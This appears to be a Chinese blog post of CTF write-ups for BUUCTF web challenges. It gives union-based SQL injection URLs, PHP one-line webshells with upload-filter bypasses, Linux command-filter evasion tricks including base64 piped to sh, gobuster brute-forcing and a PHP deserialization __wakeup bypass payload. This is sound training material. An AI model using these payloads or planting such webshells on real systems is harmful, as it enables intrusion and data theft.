Web渗透 不断更新

news2025/1/20 16:26:41

Web渗透

  • SQL注入
    • 一般注入步骤
  • 文件上传漏洞
  • 过滤绕过
    • 空格绕过 针对Linux
    • 特定字符过滤绕过 针对Linux(例如:cat)
  • 序列号unserialize

SQL注入

一般注入步骤

注入点 --> 查询注入字段数 --> 查询注入回显位 --> 查询当前数据库信息 --> 查询数据库表 --> 查询数据库表下的字段 --> 爆出想要的字段信息
以BUUCTF [极客大挑战 2019]LoveSQL 1 题为例子,该题没有任何过滤,非常基础!!
在这里插入图片描述
发现有一个用户名和密码,先用弱口令尝试登录,Fail!!,然后使用万能密码1‘ or 1=1#

在这里插入图片描述
发现有效,但密码好像只是一串数字,考虑加解密情况,但这题并不是。
目前告诉我们有admin用户,且明显username 或者password存在注入情况,先看下查询字段数

/check.php?username=1' or 1=1 order by 3%23&password=1     存在
/check.php?username=1' or 1=1 order by 3%23&password=1     报错

注意:此时是URL输入,不能用#,而用其url编码%23
发现有3个回显字段,接下来查看哪几个字段存在回显情况

/check.php?username=1' union select 1,2,3%23&password=1

在这里插入图片描述
发现回显点为 2和3,先查询当前的数据库名和版本

/check.php?username=1' union select 1,database(),version()%23&password=1

在这里插入图片描述
数据库为geek,查询数据库下的表有哪些

注意,可能答案不在当前数据库,则要先爆出所有数据库:
group_concat(schema_name) from information_schema.schemata

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

group_concat(id,password) 将id和passwd合并输出,该函数可将所有查询结果显示,而不是只显示第一个结果
在这里插入图片描述
可以发现有两个表 geekuser 和 l0ve1ysq1,下一步就是看数据库表中有哪些字段,由于答案在l0ve1ysq1表中,则以它为例:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述
发现有id,username,password字段,则查看这些字段内容

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

文件上传漏洞

这类漏洞思想就是上传一个后门文件达到攻击效果,主要难点在于绕过防御策略
绕过策略可参考:https://blog.csdn.net/weixin_67503304/article/details/125944267
以BUUCTF [极客大挑战 2019]Upload 为例
在这里插入图片描述
创建一个文件xx.php,写入一句话木马

<?php phpinfo(); @eval($_POST['shell']); ?>

在这里插入图片描述
提示上传的不是图片,则抓包修改文件类型

Content-Type: image/jpeg

在这里插入图片描述
在这里插入图片描述
结果提示 文件的后缀不能为php,文件绕过的格式也有很php,php3,php4,php5,phtml.pht,也可以对php后缀名进行绕过,如大小写,空格等,这里选择xx.phtml绕过
在这里插入图片描述
对<?也有过滤,则换个一句话木马

GIF89a
<script language="php">eval($_POST['shell']);</script> 

GIF89a就GIF文件格式头字符串,可避免检测文件时,发现这不是图片文件
在这里插入图片描述
接下来就是找到该后门文件,这里就只能猜文件存放位置,一般存放upload下,访问/upload/test.phtml
在这里插入图片描述
后门参数为shell,用post请求或者悬剑等可直接利用,这里用hackbar展示:
在这里插入图片描述
即可得到flag

过滤绕过

空格绕过 针对Linux

<	:	如 cat flag.txt  可使用  cat<flag.txt
$IFS
${IFS}
$IFS$(1-9)
{cat,flag.txt}
%09 用于url传递,类似于%09代替空格

如cat flag.php存在空格检测,则可使用cat$IFS$1flag.php

特定字符过滤绕过 针对Linux(例如:cat)

ca""t
ca''t
ca``t
ca\t
a=c;b=at;$a$b xxx.php     # 变量拼接方法
c${u}at: ${u}在linux中代表空字符串
编码方式:编码:echo “cat flag.php” | base64   
解码:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh 或者  `echo Y2F0IGZsYWcucGhwCg== | base64 -d`

序列号unserialize

简单来说就是参数被 封装成类的形式,因此注入时要注意参数结构
以BUUCTF [极客大挑战 2019]PHP 为例子,该例子分两步骤 目录爆破和反序列化
在这里插入图片描述
打开网站发现提示是存在备份,直接开始目录爆破,目录爆破主要在于2点:字典和爆破速率(太快会导致网站GG或拦截)
本次使用gobuster + top7000字典进行爆破 如果速率过快导致GG,那得自己写python脚本控制了

gobuster dir -u http://63c562ca-2b55-49c0-bfaa-98e049c6e69e.node4.buuoj.cn:81/ -w top7000.txt -t 5 --delay 1000ms 

-t 是指同时几个线程,–delay是指线程等待时间,用于控制速度,由于这个网站速度太快会G

结果发现存在www.zip 下载下来发现2个有用文件,index.php和class.php,index.php:

# index.php
...
    <?php
    include 'class.php';
    $select = $_GET['select'];		# 获取参数值
    $res=unserialize(@$select);		# 对参数反序列化,说明输入的参数是经过序列化之后的
    ?>
...
# class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){		# 用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
        $this->username = $username;
        $this->password = $password;
    }
    
    function __wakeup(){
        $this->username = 'guest';
    }
    
    function __destruct(){		# 当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
        if ($this->password != 100) {		# 如果 password != 100 就输出用户名和密码
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {		# 当 username === admin 才能输出 flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

# flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

经过分析,已经确定需要提交的参数是select,而且提交的值是经过序列化之后的值,username=‘admin’,password=‘100’

# 序列化代码
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}

$ser = serialize(new Name());
var_dump($ser);
?>
## 序列化结果:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}

提交结果失败
在这里插入图片描述
看结果分析,这是password!=100时才会回显的结果,发现序列化后是存在空格的,url空格用%00代替

?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

结果啥也没回显,还是失败:
在这里插入图片描述
进一步分析,wakeup函数是修改了username的值,可能是wakeup函数被调用了

在类外部使用serialize()函数进行序列化的时候,会先调用类内部__sleep()方法,同理在调用unserialize() 函数的时候会先调用**__wakeup()**方法。

这就懂了,还需要绕过wakeup的调用,如果对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字,结果成功!

?select=O:4:"Name":999:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/532145.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL基础(三十四)锁

1. 概述 在数据库中&#xff0c;除传统的计算资源&#xff08;如CPU、RAM、I/O等&#xff09;的争用以外&#xff0c;数据也是一种供许多用户共享的 资源。为保证数据的一致性&#xff0c;需要对 并发操作进行控制&#xff0c;因此产生了 锁 。同时 锁机制 也为实现MySQL 的各…

HIT数据结构lab2-树型结构的建立与遍历

title: 数据结构lab2-树型结构的建立与遍历 date: 2023-05-16 11:42:26 tags: 数据结构与算法 哈尔滨工业大学计算机科学与技术学院 实验报告 课程名称&#xff1a;数据结构与算法 课程类型&#xff1a;必修 实验项目&#xff1a;树型结构的建立与遍历 实验题目&#xff1…

【目标检测】模型信息解析/YOLOv5检测结果中文显示

前言 之前写过一篇博文【目标检测】YOLOv5&#xff1a;标签中文显示/自定义颜色&#xff0c;主要从显示端解决目标中文显示的问题。 本文着重从模型角度&#xff0c;从模型端解决目标中文显示问题。 模型信息解析 正常情况下&#xff0c;可以直接加载模型打印信息&#xff0…

GPT专业应用:英语作文修改与解释

正文共 868 字&#xff0c;阅读大约需要 3 分钟 英语学习者/老师必备技巧&#xff0c;您将在3分钟后获得以下超能力&#xff1a; 快速修改英语作文 Beezy评级 &#xff1a;B级 *经过简单的寻找&#xff0c; 大部分人能立刻掌握。主要节省时间。 推荐人 | Kim 编辑者 | Linda …

字节外包做了5年软件测试,12月无情被辞,想给划水的兄弟提个醒

前言 先简单交代一下背景吧&#xff0c;某不知名 985 的本硕&#xff0c;17 年毕业加入字节&#xff0c;以“人员优化”的名义无情被裁员&#xff0c;之后跳槽到了有赞&#xff0c;一直从事软件测试的工作。之前没有实习经历&#xff0c;算是5年的工作经验吧。 这5年之间完成…

第45讲:Python集合对象生成式的概念以及应用案例

文章目录 1.什么是集合生成式3.使用集合生成式创建集合3.在集合生成式中使用if语句4.在集合生成式中使用嵌套for循环语句 集合的生成式和集合的非常类似&#xff0c;只是符号不同而已&#xff0c;集合的语法格式如下&#xff0c;可以看到只是和集合的符号不同&#xff1a; {集…

【Linux】Linux /proc/iomem与/proc/ioports

目录 1. 前言 2. /proc/iomem 2.1 简介 2.2 ioremap 2.3 mmap 3. struct resource 4. System RAM 4.1 System RAM 简介 4.2 page_is_ram 4.3 Kernel code、data、bss 5. /proc/ioports 6. /proc/iomem/与/proc/ioports/对比 6.1 API简介 6.3 源码解读 7.总结 8.…

再来跟我一起写 Makefile 沉痛悼念技术大牛左耳朵耗子(陈皓)

再来跟我一起写 Makefile 沉痛悼念技术大牛左耳朵耗子&#xff08;陈皓&#xff09; 左耳朵耗子redefence 左耳朵耗子 5 月 15 日早晨&#xff0c;一则意外消息打得我们猝不及防&#xff1a;MegaEase CEO、知名架构师、CSDN 资深博主&#xff08;https://blog.csdn.net/haoel&…

Java的继承与实现

一、Java的继承与实现 继承可以使用现有类的所有功能&#xff0c;并在无需重新编写原来的类的情况下对这些功能进行扩展。这种派生方式体现了传递性。 在Java中&#xff0c;除继承&#xff0c;还有一种体现传递性的方式叫实现。那么&#xff0c;这两者方式有何区别&#xff1f…

通信算法之153: 基于Matlab的OFDM通信系统关键基带算法设计

1. 发射机 TBD 2. 接收机 定时同步主要包括帧&#xff08;分组&#xff09;同步和符合同步两种&#xff0c;其中帧同步用于确定分组的起始位置。而符合同步在于正确地定出OFDM符号数据部分的开始位置&#xff0c;以进行正确的FFT操作。 载波频率同步先检测出频率偏移&#xf…

论文精读《Optical Measurement of Highly Reflective Surfaces from a Single Exposure》

摘要 高反射表面的三维结构光 (SL) 测量是工业计量面临的挑战。 高动态范围&#xff08;HDR&#xff09;技术通过融合多重曝光下的图像提供了解决方案&#xff1b; 然而&#xff0c;这个过程非常耗时。 本文报告了一种基于 SL 的新方法&#xff0c;仅通过一次曝光即可测量具有…

【Linux】配置系统默认启动内核版本方式

查看默认启动内核 这是一个在Linux系统中使用的命令行&#xff0c;用户通过该命令行查看并编辑GRUB2引导加载程序环境变量。具体含义如下&#xff1a; saved_entry6752e052c66d4923aeeb3f42f123175e-4.18.0-348.7.1.el8_5.x86_64&#xff1a;当前设置的默认启动项为ID为"…

网络安全这条路到底该怎么走?

我之前就写过一篇文章专门解答了这个问题。但是还是有很多小伙伴并不清楚这条路该怎么走下去&#xff01; 不同于Java、C/C等后端开发岗位有非常明晰的学习路线&#xff0c;网路安全更多是靠自己摸索&#xff0c;要学的东西又杂又多&#xff0c;难成体系。 网络安全虽然是计算…

Python学习之简易视频播放器

先上效果图&#xff1a; 这个就是用python-pyqt5-opencv做出来的简易视频播放器&#xff0c;主要实现本地视频文件播放、本地摄像头播放和远程摄像头播放三个功能。 核心代码&#xff1a; def ShowCamera(self, url):try:if url None:self.cap cv2.VideoCapture(0)else:sel…

别再犯这些错误,WEB自动化测试实施与误区

目录 前言&#xff1a; 一、WEB自动化测试的实施 1. 确定测试框架 2. 定义测试用例 3. 配置测试环境 4. 执行测试用例 二、WEB自动化测试的误区 1. 盲目追求全覆盖 2. 忽视测试代码的质量 3. 忽略测试环境的差异性 4. 缺乏测试结果分析和问题处理 5. 忽视测试人员的…

移动安全逆向实战(一)

小杂谈 搞了差不多两年移动安全发现多动手才能学到新东西&#xff0c;故此推出app逆向实战系列用于记录破解各个app的安全防护&#xff0c;以此勉励。 一些括号内词句读者自动脑补表情包&#xff0c;狗头保命[doge] 正文 frida反调试 将某8样本app塞进jadx查壳&#xff0c;数…

Agitek安泰测试与您相约第5届中国国际计量测试技术与设备博览会

展会时间&#xff1a;2023年5月17日至19日 展会地点&#xff1a;上海世博展览馆&#xff08;上海.浦东&#xff09; 展位号&#xff1a;2号馆423 2023年5月17日至19日&#xff0c;第5届中国国际计量测试技术与设备博览会将在上海世博展览馆举办&#xff0c;西安安泰测试Agite…

硬科技,创未来!第十五届深创赛福田预选赛-华秋第九届硬创大赛正式启幕

自2015年首次启动至今&#xff0c;由深圳华秋电子有限公司主办的“华秋中国硬件创新创客大赛”不断提升&#xff0c;赛事范围覆盖华南、华东、华北三大地区&#xff0c;累计影响超过45万工程师群体&#xff0c;吸引了35000多名硬创先锋报名参与。 2023年华秋第九届中国硬件创新…

​文生视频: 任务、挑战及现状

示例视频由 ModelScope 生成。 最近生成模型方向的进展如排山倒海&#xff0c;令人目不暇接&#xff0c;而文生视频将是这一连串进展的下一波。尽管大家很容易从字面上理解文生视频的意思&#xff0c;但它其实是一项相当新的计算机视觉任务&#xff0c;其要求是根据文本描述生成…

润秋商业案例分析,带你了解商业背后的秘密~~

商润秋商业案例分析&#xff0c;带你了解商业背后的秘密~~业模式的好坏直接奠定了公司未来的发展和当前的盈利能力。确实我们一个好的商业模式&#xff0c;往往可以让业务更稳定&#xff0c;发展更快。但一个好的商业模式必须满足几个条件&#xff1a; 1.帮助解决用户的流量问…